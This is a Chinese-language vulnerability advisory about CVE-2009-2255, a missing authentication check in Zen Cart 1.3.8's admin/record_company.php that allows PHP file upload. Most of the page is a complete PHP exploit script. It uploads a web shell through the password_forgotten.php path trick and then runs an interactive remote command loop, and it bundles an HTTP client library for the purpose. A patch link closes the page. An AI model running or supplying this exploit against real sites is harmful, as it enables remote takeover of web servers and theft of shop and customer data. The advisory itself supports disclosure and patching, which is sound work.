首页 -> 安全研究

安全研究

安全漏洞
Zen Cart record_company.php模块远程代码执行漏洞

发布日期:2009-06-23
更新日期:2009-07-02

受影响系统:
Zen Ventures Zen Cart 1.3.8
描述:
BUGTRAQ  ID: 35467
CVE(CAN) ID: CVE-2009-2255

Zen Cart是一款免费开源的购物车软件。

Zen Cart没有对admin/record_company.php模块强制管理认证,远程攻击者可以通过record_company_image和PATH_INFO参数上传.php文件,并通过直接请求images/中的文件来访问上传的文件,导致执行任意指令。

<*来源:BlackH (Bl4ck.H@gmail.com
  
  链接:http://secunia.com/advisories/35550/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/php
<?php

#
# ------- Zen Cart 1.3.8 Remote Code Execution
# http://www.zen-cart.com/
# Zen Cart Ecommerce - putting the dream of server rooting within reach of anyone!
# A new version (1.3.8a)  is avaible on http://www.zen-cart.com/
#
# BlackH :)
#

error_reporting(E_ALL ^ E_NOTICE);
if($argc < 2)
{
echo "
=___________ Zen Cart 1.3.8 Remote Code Execution Exploit  ____________=
========================================================================
|                  BlackH <Bl4ck.H@gmail.com>                          |
========================================================================
|                                                                      |
| \$system> php $argv[0] <url>                                        |
| Notes: <url>      ex: http://victim.com/site (no slash)              |
|                                                                      |
========================================================================
";exit(1);
}


$url = $argv[1];
$trick = "/password_forgotten.php";

$xpl = new phpsploit();
$xpl->agent("Mozilla Firefox");

$real_kthxbye = remote_exec($url);

# Remote Code Execution Exploit
function remote_exec($url) {
    global $xpl, $url, $trick;
    
    echo "\n[-] Remote Code Execution";

    if(!$xpl->get($url.'/admin/')) die("\n[!] error - the /admin/ directory is protected or don't exist.\n");
    
    $n = substr(md5(rand(0, 1337)), 0, 5).".php"; # random php file
    $code = '<?php system($_SERVER["HTTP_SHELL"]); ?>';
    
    $form = array(frmdt_url => $url."/admin/record_company.php".$trick."?action=insert",
            "record_company_name" => "0",
            "record_company_image" => array(frmdt_type => "tgreal/suce", # it works ! o_O
                                            frmdt_filename => $n,
                                            frmdt_content => $code));

    if($xpl->formdata($form)) echo "\n[!] Done - Start Shell: ".$n;
    else die("\n[!] error - can't upload the shell\n");

    print "\nrce@jah\$> ";

    while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN))))){
        $xpl->addheader('SHELL',$cmd);
        $xpl->get($url.'/images/'.$n);    
        print $xpl->getcontent()."\nrce@jah$> ";
        # don't forget to "rm *.php" and exit
        # you can use "Zen Cart 1.3.8 Remote SQL Execution Exploit"
        #  to clean the database (record_company & record_company_info)
    }
}

class phpsploit
{
    var $proxyhost;
    var $proxyport;
    var $host;
    var $path;
    var $port;
    var $method;
    var $url;
    var $packet;
    var $proxyuser;
    var $proxypass;
    var $header;
    var $cookie;
    var $data;
    var $boundary;
    var $allowredirection;
    var $last_redirection;
    var $cookiejar;
    var $recv;
    var $cookie_str;
    var $header_str;
    var $server_content;
    var $server_header;
    

    /**
     * This function is called by the
     * get()/post()/formdata() functions.
     * You don't have to call it, this is
     * the main function.
     *
     * @access private
     * @return string $this->recv ServerResponse
     *
     */
    function sock()
    {
        if(!empty($this->proxyhost) && !empty($this->proxyport))
           $socket = @fsockopen($this->proxyhost,$this->proxyport);
        else
           $socket = @fsockopen($this->host,$this->port);
        
        if(!$socket)
           die("Error: Host seems down");
        
        if($this->method=='get')
           $this->packet = 'GET '.$this->url." HTTP/1.1\r\n";
          
        elseif($this->method=='post' or $this->method=='formdata')
           $this->packet = 'POST '.$this->url." HTTP/1.1\r\n";
          
        else
           die("Error: Invalid method");
        
        if(!empty($this->proxyuser))
           $this->packet .= 'Proxy-Authorization: Basic '.base64_encode($this->proxyuser.':'.$this->proxypass)."\r\n";
        
        if(!empty($this->header))
           $this->packet .= $this->showheader();
          
        if(!empty($this->cookie))
           $this->packet .= 'Cookie: '.$this->showcookie()."\r\n";
    
        $this->packet .= 'Host: '.$this->host."\r\n";
        $this->packet .= "Connection: Close\r\n";
        
        if($this->method=='post')
        {
            $this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
            $this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
            $this->packet .= $this->data."\r\n";
        }
        elseif($this->method=='formdata')
        {
            $this->packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this->boundary."\r\n";
            $this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
            $this->packet .= $this->data;
        }

        $this->packet .= "\r\n";
        $this->recv = '';

        fputs($socket,$this->packet);

        while(!feof($socket))
           $this->recv .= fgets($socket);

        fclose($socket);

        if($this->cookiejar)
           $this->getcookie();

        if($this->allowredirection)
           return $this->getredirection();
        else
           return $this->recv;
    }
    

    /**
     * This function allows you to add several
     * cookies in the request.
     *
     * @access  public
     * @param   string cookn CookieName
     * @param   string cookv CookieValue
     * @example $this->addcookie('name','value')
     *
     */
    function addcookie($cookn,$cookv)
    {
        if(!isset($this->cookie))
           $this->cookie = array();

        $this->cookie[$cookn] = $cookv;
    }


    /**
     * This function allows you to add several
     * headers in the request.
     *
     * @access  public
     * @param   string headern HeaderName
     * @param   string headervalue Headervalue
     * @example $this->addheader('Client-IP', '128.5.2.3')
     *
     */
    function addheader($headern,$headervalue)
    {
        if(!isset($this->header))
           $this->header = array();
          
        $this->header[$headern] = $headervalue;
    }


    /**
     * This function allows you to use an
     * http proxy server. Several methods
     * are supported.
     *
     * @access  public
     * @param   string proxy ProxyHost
     * @param   integer proxyp ProxyPort
     * @example $this->proxy('localhost',8118)
     * @example $this->proxy('localhost:8118')
     *
     */
    function proxy($proxy,$proxyp='')
    {
        if(empty($proxyp))
        {
            $proxarr = explode(':',$proxy);
            $this->proxyhost = $proxarr[0];
            $this->proxyport = (int)$proxarr[1];
        }
        else
        {
            $this->proxyhost = $proxy;
            $this->proxyport = (int)$proxyp;
        }

        if($this->proxyport > 65535)
           die("Error: Invalid port number");
    }
    

    /**
     * This function allows you to use an
     * http proxy server which requires a
     * basic authentification. Several
     * methods are supported:
     *
     * @access  public
     * @param   string proxyauth ProxyUser
     * @param   string proxypass ProxyPass
     * @example $this->proxyauth('user','pwd')
     * @example $this->proxyauth('user:pwd');
     *
     */
    function proxyauth($proxyauth,$proxypass='')
    {
        if(empty($proxypass))
        {
            $posvirg = strpos($proxyauth,':');
            $this->proxyuser = substr($proxyauth,0,$posvirg);
            $this->proxypass = substr($proxyauth,$posvirg+1);
        }
        else
        {
            $this->proxyuser = $proxyauth;
            $this->proxypass = $proxypass;
        }
    }


    /**
     * This function allows you to set
     * the 'User-Agent' header.
     *
     * @access  public
     * @param   string useragent Agent
     * @example $this->agent('Firefox')
     *
     */
    function agent($useragent)
    {
        $this->addheader('User-Agent',$useragent);
    }

    
    /**
     * This function returns the headers
     * which will be in the next request.
     *
     * @access  public
     * @return  string $this->header_str Headers
     * @example $this->showheader()
     *
     */
    function showheader()
    {
        $this->header_str = '';
        
        if(!isset($this->header))
           return;
          
        foreach($this->header as $name => $value)
           $this->header_str .= $name.': '.$value."\r\n";
          
        return $this->header_str;
    }

    
    /**
     * This function returns the cookies
     * which will be in the next request.
     *
     * @access  public
     * @return  string $this->cookie_str Cookies
     * @example $this->showcookie()
     *
     */
    function showcookie()
    {
        $this->cookie_str = '';
        
        if(!isset($this->cookie))
           return;
        
        foreach($this->cookie as $name => $value)
           $this->cookie_str .= $name.'='.$value.'; ';

        return $this->cookie_str;
    }


    /**
     * This function returns the last
     * formed http request.
     *
     * @access  public
     * @return  string $this->packet HttpPacket
     * @example $this->showlastrequest()
     *
     */
    function showlastrequest()
    {
        if(!isset($this->packet))
           return;
        else
           return $this->packet;
    }


    /**
     * This function sends the formed
     * http packet with the GET method.
     *
     * @access  public
     * @param   string url Url
     * @return  string $this->sock()
     * @example $this->get('localhost/index.php?var=x')
     * @example $this->get('http://localhost:88/tst.php')
     *
     */
    function get($url)
    {
        $this->target($url);
        $this->method = 'get';
        return $this->sock();
    }

    
    /**
     * This function sends the formed
     * http packet with the POST method.
     *
     * @access  public
     * @param   string url  Url
     * @param   string data PostData
     * @return  string $this->sock()
     * @example $this->post('http://localhost/','helo=x')
     *
     */    
    function post($url,$data)
    {
        $this->target($url);
        $this->method = 'post';
        $this->data = $data;
        return $this->sock();
    }
    

    /**
     * This function sends the formed http
     * packet with the POST method using
     * the multipart/form-data enctype.
     *
     * @access  public
     * @param   array array FormDataArray
     * @return  string $this->sock()
     * @example $formdata = array(
     *                      frmdt_url => 'http://localhost/upload.php',
     *                      frmdt_boundary => '123456', # Optional
     *                      'var' => 'example',
     *                      'file' => array(
     *                                frmdt_type => 'image/gif',  # Optional
     *                                frmdt_transfert => 'binary' # Optional
     *                                frmdt_filename => 'hello.php,
     *                                frmdt_content => '<?php echo 1; ?>'));
     *          $this->formdata($formdata);
     *
     */
    function formdata($array)
    {
        $this->target($array[frmdt_url]);
        $this->method = 'formdata';
        $this->data = '';
        
        if(!isset($array[frmdt_boundary]))
           $this->boundary = 'phpsploit';
        else
           $this->boundary = $array[frmdt_boundary];

        foreach($array as $key => $value)
        {
            if(!preg_match('#^frmdt_(boundary|url)#',$key))
            {
                $this->data .= str_repeat('-',29).$this->boundary."\r\n";
                $this->data .= 'Content-Disposition: form-data; name="'.$key.'";';
                
                if(!is_array($value))
                {
                    $this->data .= "\r\n\r\n".$value."\r\n";
                }
                else
                {
                    $this->data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n";

                    if(isset($array[$key][frmdt_type]))
                       $this->data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n";

                    if(isset($array[$key][frmdt_transfert]))
                       $this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n";

                    $this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
                }
            }
        }

        $this->data .= str_repeat('-',29).$this->boundary."--\r\n";
        return $this->sock();
    }

    
    /**
     * This function returns the content
     * of the server response, without
     * the headers.
     *
     * @access  public
     * @param   string code ServerResponse
     * @return  string $this->server_content
     * @example $this->getcontent()
     * @example $this->getcontent($this->get('http://localhost/'))
     *
     */
    function getcontent($code='')
    {
        if(empty($code))
           $code = $this->recv;

        $code = explode("\r\n\r\n",$code);
        $this->server_content = '';
        
        for($i=1;$i<count($code);$i++)
           $this->server_content .= $code[$i];

        return $this->server_content;
    }

    
    /**
     * This function returns the headers
     * of the server response, without
     * the content.
     *
     * @access  public
     * @param   string code ServerResponse
     * @return  string $this->server_header
     * @example $this->getcontent()
     * @example $this->getcontent($this->post('http://localhost/','1=2'))
     *
     */
    function getheader($code='')
    {
        if(empty($code))
           $code = $this->recv;

        $code = explode("\r\n\r\n",$code);
        $this->server_header = $code[0];
        
        return $this->server_header;
    }

    
    /**
     * This function is called by the
     * cookiejar() function. It adds the
     * value of the "Set-Cookie" header
     * in the "Cookie" header for the
     * next request. You don't have to
     * call it.
     *
     * @access private
     * @param  string code ServerResponse
     *
     */
    function getcookie()
    {
        foreach(explode("\r\n",$this->getheader()) as $header)
        {
            if(preg_match('/set-cookie/i',$header))
            {
                $fequal = strpos($header,'=');
                $fvirgu = strpos($header,';');
                
                // 12=strlen('set-cookie: ')
                $cname  = substr($header,12,$fequal-12);
                $cvalu  = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));
                
                $this->cookie[trim($cname)] = trim($cvalu);
            }
        }
    }


    /**
     * This function is called by the
     * get()/post() functions. You
     * don't have to call it.
     *
     * @access  private
     * @param   string urltarg Url
     * @example $this->target('http://localhost/')
     *
     */
    function target($urltarg)
    {
        if(!ereg('^http://',$urltarg))
           $urltarg = 'http://'.$urltarg;
          
        $urlarr     = parse_url($urltarg);
        $this->url  = 'http://'.$urlarr['host'].$urlarr['path'];
        
        if(isset($urlarr['query']))
           $this->url .= '?'.$urlarr['query'];
        
        $this->port = !empty($urlarr['port']) ? $urlarr['port'] : 80;
        $this->host = $urlarr['host'];
        
        if($this->port != '80')
           $this->host .= ':'.$this->port;

        if(!isset($urlarr['path']) or empty($urlarr['path']))
           die("Error: No path precised");

        $this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);

        if($this->port > 65535)
           die("Error: Invalid port number");
    }
    
    
    /**
     * If you call this function,
     * the script will extract all
     * 'Set-Cookie' headers values
     * and it will automatically add
     * them into the 'Cookie' header
     * for all next requests.
     *
     * @access  public
     * @param   integer code 1(enabled) 0(disabled)
     * @example $this->cookiejar(0)
     * @example $this->cookiejar(1)
     *
     */
    function cookiejar($code)
    {
        if($code=='0')
           $this->cookiejar=FALSE;

        elseif($code=='1')
           $this->cookiejar=TRUE;
    }


    /**
     * If you call this function,
     * the script will follow all
     * redirections sent by the server.
     *
     * @access  public
     * @param   integer code 1(enabled) 0(disabled)
     * @example $this->allowredirection(0)
     * @example $this->allowredirection(1)
     *
     */
    function allowredirection($code)
    {
        if($code=='0')
           $this->allowredirection=FALSE;
          
        elseif($code=='1')
           $this->allowredirection=TRUE;
    }

    
    /**
     * This function is called if
     * allowredirection() is enabled.
     * You don't have to call it.
     *
     * @access private
     * @return string $this->get('http://'.$this->host.$this->path.$this->last_redirection)
     * @return string $this->get($this->last_redirection)
     * @return string $this->recv;
     *
     */
    function getredirection()
    {
        if(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr))
        {
            $this->last_redirection = trim($codearr[2]);
            
            if(!ereg('://',$this->last_redirection))
               return $this->get('http://'.$this->host.$this->path.$this->last_redirection);

            else
               return $this->get($this->last_redirection);
        }
        else
           return $this->recv;
    }


    /**
     * This function allows you
     * to reset some parameters.
     *
     * @access  public
     * @param   string func Param
     * @example $this->reset('header')
     * @example $this->reset('cookie')
     * @example $this->reset()
     *
     */
    function reset($func='')
    {
        switch($func)
        {
            case 'header':
            $this->header = array('');
            break;
                
            case 'cookie':
            $this->cookie = array('');
            break;
                
            default:
            $this->cookiejar = '';
            $this->header = array('');
            $this->cookie = array('');
            $this->allowredirection = '';
            break;
        }
    }
}

?>

建议:
厂商补丁:

Zen Ventures
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.zen-cart.com/forum/showthread.php?t=130161

浏览次数:4215
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障